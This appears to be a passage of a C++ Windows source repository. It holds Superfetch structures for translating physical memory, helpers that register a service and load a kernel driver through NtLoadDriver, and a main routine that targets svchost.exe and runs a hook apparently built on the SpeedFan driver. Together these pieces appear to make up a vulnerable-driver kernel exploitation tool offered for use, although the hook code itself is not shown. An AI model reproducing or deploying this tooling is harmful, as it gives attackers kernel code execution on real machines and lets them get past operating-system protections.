49 | ULONG_PTR ModifiedPageCountPageFile;
50 | } SYSTEM_MEMORY_LIST_INFORMATION, *PSYSTEM_MEMORY_LIST_INFORMATION;
51 |
52 | //
53 | // Sub-Information Types for PFN Identity
54 | //
55 | typedef struct _MEMORY_FRAME_INFORMATION {
56 | ULONGLONG UseDescription : 4;
57 | ULONGLONG ListDescription : 3;
58 | ULONGLONG Reserved0 : 1;
59 | ULONGLONG Pinned : 1;
60 | ULONGLONG DontUse : 48;
61 | ULONGLONG Priority : 3;
62 | ULONGLONG Reserved : 4;
63 | } MEMORY_FRAME_INFORMATION, *PMEMORY_FRAME_INFORMATION;
64 |
65 | typedef struct _FILEOFFSET_INFORMATION {
66 | ULONGLONG DontUse : 9;
67 | ULONGLONG Offset : 48;
68 | ULONGLONG Reserved : 7;
69 | } FILEOFFSET_INFORMATION, *PFILEOFFSET_INFORMATION;
70 |
71 | typedef struct _PAGEDIR_INFORMATION {
72 | ULONGLONG DontUse : 9;
73 | ULONGLONG PageDirectoryBase : 48;
74 | ULONGLONG Reserved : 7;
75 | } PAGEDIR_INFORMATION, *PPAGEDIR_INFORMATION;
76 |
77 | typedef struct _UNIQUE_PROCESS_INFORMATION {
78 | ULONGLONG DontUse : 9;
79 | ULONGLONG UniqueProcessKey : 48;
80 | ULONGLONG Reserved : 7;
81 | } UNIQUE_PROCESS_INFORMATION, *PUNIQUE_PROCESS_INFORMATION;
82 |
83 | //
84 | // PFN Identity Data Structure
85 | //
86 | typedef struct _MMPFN_IDENTITY {
87 | union {
88 | MEMORY_FRAME_INFORMATION e1;
89 | FILEOFFSET_INFORMATION e2;
90 | PAGEDIR_INFORMATION e3;
91 | UNIQUE_PROCESS_INFORMATION e4;
92 | } u1;
93 | SIZE_T PageFrameIndex;
94 | union {
95 | struct {
96 | ULONG Image : 1;
97 | ULONG Mismatch : 1;
98 | } e1;
99 | PVOID FileObject;
100 | PVOID UniqueFileObjectKey;
101 | PVOID ProtoPteAddress;
102 | PVOID VirtualAddress;
103 | } u2;
104 | } MMPFN_IDENTITY, *PMMPFN_IDENTITY;
105 |
106 | //
107 | // Data Structure for SuperfetchPfnQuery
108 | //
109 | typedef struct _PF_PFN_PRIO_REQUEST {
110 | ULONG Version;
111 | ULONG RequestFlags;
112 | SIZE_T PfnCount;
113 | SYSTEM_MEMORY_LIST_INFORMATION MemInfo;
114 | MMPFN_IDENTITY PageData[256];
115 | } PF_PFN_PRIO_REQUEST, *PPF_PFN_PRIO_REQUEST;
116 |
117 | typedef struct _PF_PROCESS {
118 | LIST_ENTRY ProcessLinks;
119 | ULONGLONG ProcessKey;
120 | CHAR ProcessName[16];
121 | ULONG ProcessPfnCount;
122 | ULONG PrivatePages;
123 | HANDLE ProcessId;
124 | ULONG SessionId;
125 | HANDLE ProcessHandle;
126 | ULONG ProcessPfns[ANYSIZE_ARRAY];
127 | } PF_PROCESS, *PPF_PROCESS;
128 |
129 | //
130 | // Superfetch Information Class
131 | //
132 | typedef enum _SUPERFETCH_INFORMATION_CLASS {
133 | SuperfetchRetrieveTrace = 1, // Query
134 | SuperfetchSystemParameters = 2, // Query
135 | SuperfetchLogEvent = 3, // Set
136 | SuperfetchGenerateTrace = 4, // Set
137 | SuperfetchPrefetch = 5, // Set
138 | SuperfetchPfnQuery = 6, // Query
139 | SuperfetchPfnSetPriority = 7, // Set
140 | SuperfetchPrivSourceQuery = 8, // Query
141 | SuperfetchSequenceNumberQuery = 9, // Query
142 | SuperfetchScenarioPhase = 10, // Set
143 | SuperfetchWorkerPriority = 11, // Set
144 | SuperfetchScenarioQuery = 12, // Query
145 | SuperfetchScenarioPrefetch = 13, // Set
146 | SuperfetchRobustnessControl = 14, // Set
147 | SuperfetchTimeControl = 15, // Set
148 | SuperfetchMemoryListQuery = 16, // Query
149 | SuperfetchMemoryRangesQuery = 17, // Query
150 | SuperfetchTracingControl = 18, // Set
151 | SuperfetchTrimWhileAgingControl = 19,
152 | SuperfetchInformationMax = 20
153 | } SUPERFETCH_INFORMATION_CLASS;
154 |
155 | //
156 | // Buffer for NtQuery/SetInformationSystem for the Superfetch Class
157 | //
158 | typedef struct _SUPERFETCH_INFORMATION {
159 | ULONG Version;
160 | ULONG Magic;
161 | SUPERFETCH_INFORMATION_CLASS InfoClass;
162 | PVOID Data;
163 | ULONG Length;
164 | } SUPERFETCH_INFORMATION, *PSUPERFETCH_INFORMATION;
165 |
166 | typedef struct _RTL_BITMAP {
167 | ULONG SizeOfBitMap;
168 | PULONG Buffer;
169 | } RTL_BITMAP, *PRTL_BITMAP;
170 |
171 | //
172 | // Superfetch Private Sources
173 | //
174 | typedef enum _PFS_PRIVATE_PAGE_SOURCE_TYPE {
175 | PfsPrivateSourceKernel = 0,
176 | PfsPrivateSourceSession = 1,
177 | PfsPrivateSourceProcess = 2,
178 | PfsPrivateSourceMax = 3
179 | } PFS_PRIVATE_PAGE_SOURCE_TYPE;
180 |
181 | //
182 | // Private Source Database Information
183 | //
184 | typedef struct _PFS_PRIVATE_PAGE_SOURCE {
185 | PFS_PRIVATE_PAGE_SOURCE_TYPE Type;
186 | ULONG ProcessId;
187 | ULONG ImagePathHash;
188 | ULONG_PTR UniqueProcessHash;
189 | } PFS_PRIVATE_PAGE_SOURCE, *PPFS_PRIVATE_PAGE_SOURCE;
190 |
191 | //
192 | // Private Source Entry
193 | //
194 | typedef struct _PF_PRIVSOURCE_INFO {
195 | PFS_PRIVATE_PAGE_SOURCE DbInfo;
196 | PVOID EProcess;
197 | SIZE_T WorkingSetPrivateSize;
198 | SIZE_T NumberOfPrivatePages;
199 | ULONG SessionID;
200 | CHAR ImageName[16];
201 |
202 | union {
203 | ULONG_PTR WsSwapPages; // process only PF_PRIVSOURCE_QUERY_WS_SWAP_PAGES.
204 | ULONG_PTR SessionPagedPoolPages; // session only.
205 | ULONG_PTR StoreSizePages; // process only PF_PRIVSOURCE_QUERY_STORE_INFO.
206 | };
207 | ULONG_PTR WsTotalPages; // process/session only.
208 | ULONG DeepFreezeTimeMs; // process only.
209 | ULONG ModernApp : 1; // process only.
210 | ULONG DeepFrozen : 1; // process only. If set, DeepFreezeTimeMs contains the time at which the freeze occurred
211 | ULONG Foreground : 1; // process only.
212 | ULONG PerProcessStore : 1; // process only.
213 | ULONG Spare : 28;
214 |
215 | } PF_PRIVSOURCE_INFO, *PPF_PRIVSOURCE_INFO;
216 |
217 | //
218 | // Query Data Structure for SuperfetchPrivSourceQuery
219 | //
220 | typedef struct _PF_PRIVSOURCE_QUERY_REQUEST {
221 | ULONG Version;
222 | ULONG Flags;
223 | ULONG InfoCount;
224 | PF_PRIVSOURCE_INFO InfoArray[ANYSIZE_ARRAY];
225 | } PF_PRIVSOURCE_QUERY_REQUEST, *PPF_PRIVSOURCE_QUERY_REQUEST;
226 |
227 | typedef struct _PF_PHYSICAL_MEMORY_RANGE {
228 | ULONG_PTR BasePfn;
229 | ULONG_PTR PageCount;
230 | } PF_PHYSICAL_MEMORY_RANGE, *PPF_PHYSICAL_MEMORY_RANGE;
231 |
232 | typedef struct _PF_MEMORY_RANGE_INFO {
233 | ULONG Version;
234 | ULONG RangeCount;
235 | PF_PHYSICAL_MEMORY_RANGE Ranges[ANYSIZE_ARRAY];
236 | } PF_MEMORY_RANGE_INFO, *PPF_MEMORY_RANGE_INFO;
237 |
238 | typedef struct _PHYSICAL_MEMORY_RUN {
239 | SIZE_T BasePage;
240 | SIZE_T PageCount;
241 | } PHYSICAL_MEMORY_RUN, *PPHYSICAL_MEMORY_RUN;
242 |
243 | typedef enum _SYSTEM_INFORMATION_CLASS
244 | {
245 | SystemBasicInformation,
246 | SystemProcessorInformation,
247 | SystemPerformanceInformation,
248 | SystemTimeOfDayInformation,
249 | SystemPathInformation, /// Obsolete: Use KUSER_SHARED_DATA
250 | SystemProcessInformation,
251 | SystemCallCountInformation,
252 | SystemDeviceInformation,
253 | SystemProcessorPerformanceInformation,
254 | SystemFlagsInformation,
255 | SystemCallTimeInformation,
256 | SystemModuleInformation,
257 | SystemLocksInformation,
258 | SystemStackTraceInformation,
259 | SystemPagedPoolInformation,
260 | SystemNonPagedPoolInformation,
261 | SystemHandleInformation,
262 | SystemObjectInformation,
263 | SystemPageFileInformation,
264 | SystemVdmInstemulInformation,
265 | SystemVdmBopInformation,
266 | SystemFileCacheInformation,
267 | SystemPoolTagInformation,
268 | SystemInterruptInformation,
269 | SystemDpcBehaviorInformation,
270 | SystemFullMemoryInformation,
271 | SystemLoadGdiDriverInformation,
272 | SystemUnloadGdiDriverInformation,
273 | SystemTimeAdjustmentInformation,
274 | SystemSummaryMemoryInformation,
275 | SystemMirrorMemoryInformation,
276 | SystemPerformanceTraceInformation,
277 | SystemObsolete0,
278 | SystemExceptionInformation,
279 | SystemCrashDumpStateInformation,
280 | SystemKernelDebuggerInformation,
281 | SystemContextSwitchInformation,
282 | SystemRegistryQuotaInformation,
283 | SystemExtendServiceTableInformation, // used to be SystemLoadAndCallImage
284 | SystemPrioritySeperation,
285 | SystemPlugPlayBusInformation,
286 | SystemDockInformation,
287 | SystemPowerInformationNative,
288 | SystemProcessorSpeedInformation,
289 | SystemCurrentTimeZoneInformation,
290 | SystemLookasideInformation,
291 | SystemTimeSlipNotification,
292 | SystemSessionCreate,
293 | SystemSessionDetach,
294 | SystemSessionInformation,
295 | SystemRangeStartInformation,
296 | SystemVerifierInformation,
297 | SystemAddVerifier,
298 | SystemSessionProcessesInformation,
299 | SystemLoadGdiDriverInSystemSpaceInformation,
300 | SystemNumaProcessorMap,
301 | SystemPrefetcherInformation,
302 | SystemExtendedProcessInformation,
303 | SystemRecommendedSharedDataAlignment,
304 | SystemComPlusPackage,
305 | SystemNumaAvailableMemory,
306 | SystemProcessorPowerInformation,
307 | SystemEmulationBasicInformation,
308 | SystemEmulationProcessorInformation,
309 | SystemExtendedHanfleInformation,
310 | SystemLostDelayedWriteInformation,
311 | SystemBigPoolInformation,
312 | SystemSessionPoolTagInformation,
313 | SystemSessionMappedViewInformation,
314 | SystemHotpatchInformation,
315 | SystemObjectSecurityMode,
316 | SystemWatchDogTimerHandler,
317 | SystemWatchDogTimerInformation,
318 | SystemLogicalProcessorInformation,
319 | SystemWo64SharedInformationObosolete,
320 | SystemRegisterFirmwareTableInformationHandler,
321 | SystemFirmwareTableInformation,
322 | SystemModuleInformationEx,
323 | SystemVerifierTriageInformation,
324 | SystemSuperfetchInformation,
325 | SystemMemoryListInformation,
326 | SystemFileCacheInformationEx,
327 | SystemThreadPriorityClientIdInformation,
328 | SystemProcessorIdleCycleTimeInformation,
329 | SystemVerifierCancellationInformation,
330 | SystemProcessorPowerInformationEx,
331 | SystemRefTraceInformation,
332 | SystemSpecialPoolInformation,
333 | SystemProcessIdInformation,
334 | SystemErrorPortInformation,
335 | SystemBootEnvironmentInformation,
336 | SystemHypervisorInformation,
337 | SystemVerifierInformationEx,
338 | SystemTimeZoneInformation,
339 | SystemImageFileExecutionOptionsInformation,
340 | SystemCoverageInformation,
341 | SystemPrefetchPathInformation,
342 | SystemVerifierFaultsInformation,
343 | MaxSystemInfoClass,
344 | } SYSTEM_INFORMATION_CLASS;
345 |
346 | typedef struct _SYSTEM_BASIC_INFORMATION {
347 | ULONG Reserved;
348 | ULONG TimerResolution;
349 | ULONG PageSize;
350 | ULONG NumberOfPhysicalPages;
351 | ULONG LowestPhysicalPageNumber;
352 | ULONG HighestPhysicalPageNumber;
353 | ULONG AllocationGranularity;
354 | ULONG_PTR MinimumUserModeAddress;
355 | ULONG_PTR MaximumUserModeAddress;
356 | ULONG_PTR ActiveProcessorsAffinityMask;
357 | CCHAR NumberOfProcessors;
358 | } SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION;
359 |
360 | struct RTL_PROCESS_MODULE_INFORMATION
361 | {
362 | unsigned int Section;
363 | void* MappedBase;
364 | void* ImageBase;
365 | unsigned int ImageSize;
366 | unsigned int Flags;
367 | unsigned short LoadOrderIndex;
368 | unsigned short InitOrderIndex;
369 | unsigned short LoadCount;
370 | unsigned short OffsetToFileName;
371 | char FullPathName[256];
372 | };
373 |
374 | struct RTL_PROCESS_MODULES
375 | {
376 | unsigned int NumberOfModules;
377 | RTL_PROCESS_MODULE_INFORMATION Modules[0];
378 | };
379 |
380 | struct SYSTEM_HANDLE
381 | {
382 | ULONG ProcessId;
383 | BYTE ObjectTypeNumber;
384 | BYTE Flags;
385 | USHORT Handle;
386 | PVOID Object;
387 | ACCESS_MASK GrantedAccess;
388 | };
389 |
390 | struct SYSTEM_HANDLE_INFORMATION
391 | {
392 | ULONG HandleCount;
393 | SYSTEM_HANDLE Handles[0];
394 | };
395 |
396 | extern "C" NTSTATUS WINAPI NtQuerySystemInformation(
397 | IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
398 | OUT PVOID SystemInformation,
399 | IN ULONG SystemInformationLength,
400 | OUT PULONG ReturnLength OPTIONAL
401 | );
402 |
403 |
404 | #define PAGE_SHIFT 12
405 | #define PAGE_SIZE (1 << 12)
406 |
407 | #define SE_DEBUG_PRIVILEGE (20L)
408 | #define SE_PROF_SINGLE_PROCESS_PRIVILEGE (13L)
409 |
410 | extern "C" NTSTATUS NTAPI RtlAdjustPrivilege(
411 | IN ULONG Privilege,
412 | IN BOOLEAN NewValue,
413 | IN BOOLEAN ForThread,
414 | OUT PBOOLEAN OldValue
415 | );
416 |
417 | #define SPAGE_SIZE 0x1000
418 | #define SUPERFETCH_VERSION 45
419 | #define SUPERFETCH_MAGIC 'kuhC'
420 |
421 | #endif
--------------------------------------------------------------------------------
/src/Utilities/Utils.cpp:
--------------------------------------------------------------------------------
1 | #include "Utilities\Utils.h"
2 | #include
3 | #include
4 |
5 | #define SERVICE_REG_SUBKEY "System\\CurrentControlSet\\Services\\"
6 | #define REGISTRY_PATH_PREFIX "\\Registry\\Machine\\"
7 |
8 | NTSTATUS(NTAPI* NtLoadDriver)(_In_ PUNICODE_STRING DriverServiceName);
9 | NTSTATUS(NTAPI* NtUnloadDriver)(_In_ PUNICODE_STRING DriverServiceName);
10 | PVOID(NTAPI* MmGetSystemRoutineAddress)(_In_ PUNICODE_STRING);
11 |
12 |
13 | Utils* g_pUtils = new Utils();
14 |
15 | Utils::Utils()
16 | {
17 | }
18 |
19 |
20 | Utils::~Utils()
21 | {
22 | }
23 |
24 |
25 |
26 | PVOID Utils::GetSystemRoutine(PVOID pMmGetSystemRoutineAddress, const wchar_t* RoutineName)
27 | {
28 | if (RoutineName == nullptr || pMmGetSystemRoutineAddress == nullptr)
29 | return 0;
30 |
31 | MmGetSystemRoutineAddress = (decltype(MmGetSystemRoutineAddress))pMmGetSystemRoutineAddress;
32 | UNICODE_STRING usRoutine;
33 | RtlInitUnicodeString(&usRoutine, RoutineName);
34 | return MmGetSystemRoutineAddress(&usRoutine);
35 | }
36 |
37 |
38 | /* Elevates Process Privileges To Desired Privilege */
39 | BOOLEAN Utils::EnablePrivilege(const char* lpPrivilegeName)
40 | {
41 | TOKEN_PRIVILEGES Privilege;
42 | HANDLE hToken;
43 | DWORD dwErrorCode;
44 |
45 | Privilege.PrivilegeCount = 1;
46 | Privilege.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
47 | if (!LookupPrivilegeValueA(NULL, lpPrivilegeName,
48 | &Privilege.Privileges[0].Luid))
49 | return GetLastError();
50 |
51 | if (!OpenProcessToken(GetCurrentProcess(),
52 | TOKEN_ADJUST_PRIVILEGES, &hToken))
53 | return GetLastError();
54 |
55 | if (!AdjustTokenPrivileges(hToken, FALSE, &Privilege, sizeof(Privilege),
56 | NULL, NULL)) {
57 | dwErrorCode = GetLastError();
58 | CloseHandle(hToken);
59 | return dwErrorCode;
60 | }
61 |
62 | CloseHandle(hToken);
63 | return TRUE;
64 | }
65 |
66 |
67 | /* Registers a Service To The Registry */
68 | /* Includes a ImagePath, Type, ErrorControl and Start, SubKeys */
69 | BOOLEAN Utils::RegisterService(std::string ServicePath, std::string *ServiceRegKey)
70 | {
71 | HKEY hkResult;
72 | DWORD dwDispositon;
73 | DWORD dwServiceType = 1;
74 | DWORD dwServiceErrorControl = 1;
75 | DWORD dwServiceStart = 3;
76 | //DWORD dwProcType = 1;
77 | LPCSTR lpValueName = "ImagePath";
78 | LPCSTR lpType = "Type";
79 | LPCSTR lpErrorControl = "ErrorControl";
80 | LPCSTR lpValueStart = "Start";
81 | //LPCSTR lpDisplayName = "DisplayName";
82 | //LPCSTR lpProcType = "WOW64";
83 |
84 | size_t OffsetToServiceName = ServicePath.find_last_of('\\');
85 | std::string ServiceName = ServicePath.substr(OffsetToServiceName + 1); // Get Service Name With ".sys" suffix
86 |
87 | std::string KeyName = ServiceName.substr(0, ServiceName.find_first_of('.')); // Get KeyName, (ServiceName without suffix ".sys")
88 | std::string SubKey = SERVICE_REG_SUBKEY + KeyName;
89 | *ServiceRegKey = REGISTRY_PATH_PREFIX + SubKey; // ServiceRegKey Needed To Load/Unload Driver With Native Functions
90 |
91 | LSTATUS Status = RegOpenKeyExA(HKEY_LOCAL_MACHINE, SubKey.c_str(), 0, KEY_ALL_ACCESS, &hkResult); // Try To Open Registry Key (Checking if it exists)
92 | if (!Status) // If it exists,
93 | RegDeleteKeyExA(HKEY_LOCAL_MACHINE, SubKey.c_str(), KEY_WOW64_64KEY, 0); // then remove it for creating a new with correct SubKeys.
94 |
95 | Status = RegCreateKeyExA(HKEY_LOCAL_MACHINE, SubKey.c_str(), 0, nullptr, 0, KEY_ALL_ACCESS, NULL, &hkResult, &dwDispositon); // Create SubKey.
96 | if (Status)
97 | return false;
98 |
99 | if (Status = RegSetValueExA(hkResult, lpValueName, 0, REG_EXPAND_SZ, (const BYTE*)std::string("\\??\\" + ServicePath).c_str(), ServicePath.size() + 4)) // Include prefix "\\??\\" for correct ImagePath
100 | {
101 | /* Error already caught */
102 | }
103 | else if (Status = RegSetValueExA(hkResult, lpType, 0, REG_DWORD, (const BYTE*)&dwServiceType, sizeof(DWORD))) // Set Type Key
104 | {
105 | /* Error already caught */
106 | }
107 | else if (Status = RegSetValueExA(hkResult, lpErrorControl, 0, REG_DWORD, (const BYTE*)&dwServiceErrorControl, sizeof(DWORD))) // Set ErrorControl Key
108 | {
109 | /* Error already caught */
110 | }
111 | else if (Status = RegSetValueExA(hkResult, lpValueStart, 0, REG_DWORD, (const BYTE*)&dwServiceStart, sizeof(DWORD))) // Set Start Key
112 | {
113 | /* Error already caught */
114 | }
115 | /*else if (Status = RegSetValueExA(hkResult, lpDisplayName, 0, REG_SZ, (const BYTE*)KeyName.c_str(), KeyName.size()))
116 | {
117 |
118 | }
119 | else if (Status = RegSetValueExA(hkResult, lpProcType, 0, REG_DWORD, (const BYTE*)&dwProcType, sizeof(DWORD)))
120 | {
121 | }*/
122 |
123 | // ErrorHandling:
124 | RegCloseKey(hkResult);
125 | return Status == 0;
126 | }
127 |
128 |
129 | /* Initializes Native Functions For Loading And Unloading Drivers */
130 | BOOLEAN Utils::InitNativeFuncs()
131 | {
132 | HMODULE hNtdll = GetModuleHandle("ntdll.dll");
133 | if (!hNtdll)
134 | return FALSE;
135 |
136 | /* Look up desired functions */
137 | NtLoadDriver = (decltype(NtLoadDriver))GetProcAddress(hNtdll, "NtLoadDriver");
138 | NtUnloadDriver = (decltype(NtLoadDriver))GetProcAddress(hNtdll, "NtUnloadDriver");
139 |
140 | if (!NtLoadDriver || !NtUnloadDriver)
141 | return FALSE;
142 |
143 | m_bIsNativeInitialized = TRUE; // Set their Initialization to TRUE for no Reinitialization
144 | return TRUE;
145 | }
146 |
147 |
148 | /* Loads A Driver Specified With The Service Registry Key */
149 | NTSTATUS Utils::LoadDriver(std::string ServiceRegKey)
150 | {
151 | std::cout << "Loading: " << ServiceRegKey.substr(ServiceRegKey.find_last_of('\\') + 1).c_str() << ".sys\n";
152 | UNICODE_STRING usKey{ 0 };
153 | std::wstring ServiceRegKeyW(ServiceRegKey.begin(), ServiceRegKey.end());
154 |
155 | if (!m_bIsNativeInitialized)
156 | if (!InitNativeFuncs()) // Initialize if it has not been initialized before
157 | return FALSE;
158 |
159 | RtlInitUnicodeString(&usKey, ServiceRegKeyW.c_str());
160 | return NtLoadDriver(&usKey);
161 | }
162 |
163 |
164 | /* Unloads A Driver Specified With The Service Registry Key */
165 | NTSTATUS Utils::UnloadDriver(std::string ServiceRegKey)
166 | {
167 | std::cout << "Unloading: " << ServiceRegKey.substr(ServiceRegKey.find_last_of('\\') + 1).c_str() << ".sys\n";
168 | UNICODE_STRING usKey{ 0 };
169 | std::wstring ServiceRegKeyW(ServiceRegKey.begin(), ServiceRegKey.end());
170 |
171 | if (!m_bIsNativeInitialized)
172 | if (!InitNativeFuncs())
173 | return FALSE;
174 |
175 | RtlInitUnicodeString(&usKey, ServiceRegKeyW.c_str());
176 | return NtUnloadDriver(&usKey);
177 | }
178 |
179 |
180 | int Utils::isAscii(int c)
181 | {
182 | return((c >= 'A' && c <= 'z') || (c >= '0' && c <= '9') || c == 0x20 || c == '@' || c == '_' || c == '?');
183 | }
184 |
185 |
186 | int Utils::isPrintable(uint32_t uint32)
187 | {
188 | if ((isAscii((uint32 >> 24) & 0xFF)) && (isAscii((uint32 >> 16) & 0xFF)) && (isAscii((uint32 >> 8) & 0xFF)) &&
189 | (isAscii((uint32) & 0xFF)))
190 | return true;
191 | else
192 | return false;
193 | }
194 |
195 |
196 | /* Converts a character array to lower characters */
197 | char* Utils::ToLower(char* szText)
198 | {
199 | char* T = (char*)malloc(MAX_PATH); // Allocate memory for new character array
200 | ZeroMemory(T, MAX_PATH);
201 | int i = 0;
202 | while (szText[i])
203 | {
204 | T[i] = tolower(szText[i]);
205 | ++i;
206 | }
207 | return T;
208 | }
--------------------------------------------------------------------------------
/src/Utilities/Utils.h:
--------------------------------------------------------------------------------
1 | #ifndef UTILS_H
2 | #define UTILS_H
3 | #pragma once
4 | #include
5 | #include
6 |
7 |
8 |
9 |
10 |
11 | class Utils
12 | {
13 | public:
14 | Utils();
15 | ~Utils();
16 |
17 | public:
18 | BOOLEAN EnablePrivilege(const char* lpPrivilegeName);
19 | BOOLEAN RegisterService(std::string ServicePath, std::string *ServiceRegKey);
20 | NTSTATUS LoadDriver(std::string ServiceRegKey);
21 | NTSTATUS UnloadDriver(std::string ServiceRegKey);
22 | int isAscii(int c);
23 | int isPrintable(uint32_t uint32);
24 | char* ToLower(char* szText);
25 |
26 | PVOID GetSystemRoutine(PVOID MmGetSystemRoutineAddress, const wchar_t* RoutineName);
27 |
28 | private:
29 | BOOLEAN InitNativeFuncs();
30 |
31 |
32 | BOOLEAN m_bIsNativeInitialized = false;
33 | };
34 |
35 | #endif // !UTILS_H
36 |
37 | extern Utils* g_pUtils;
--------------------------------------------------------------------------------
/src/main.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include "Utilities\Utils.h"
6 | #include "Memory\Proc.h"
7 | #include "Speedfan\SpeedfanHook.h"
8 |
9 |
10 |
11 |
12 | int main()
13 | {
14 | // Grab the first "svchost.exe" we find (reliable process to find)
15 | if (!g_pProc->OnSetup("svchost.exe"))
16 | return 0;
17 |
18 | // Set up hook
19 | if (!g_pHook->OnSetup())
20 | return 0;
21 |
22 | // Set hook parameter
23 | g_pHook->SetHookParams((PVOID)0x4141414141414141);
24 |
25 | // Execute hook
26 | g_pHook->ExecuteHook(HookFunc);
27 |
28 |
29 |
30 | std::cin.get();
31 | return 0;
32 | }
--------------------------------------------------------------------------------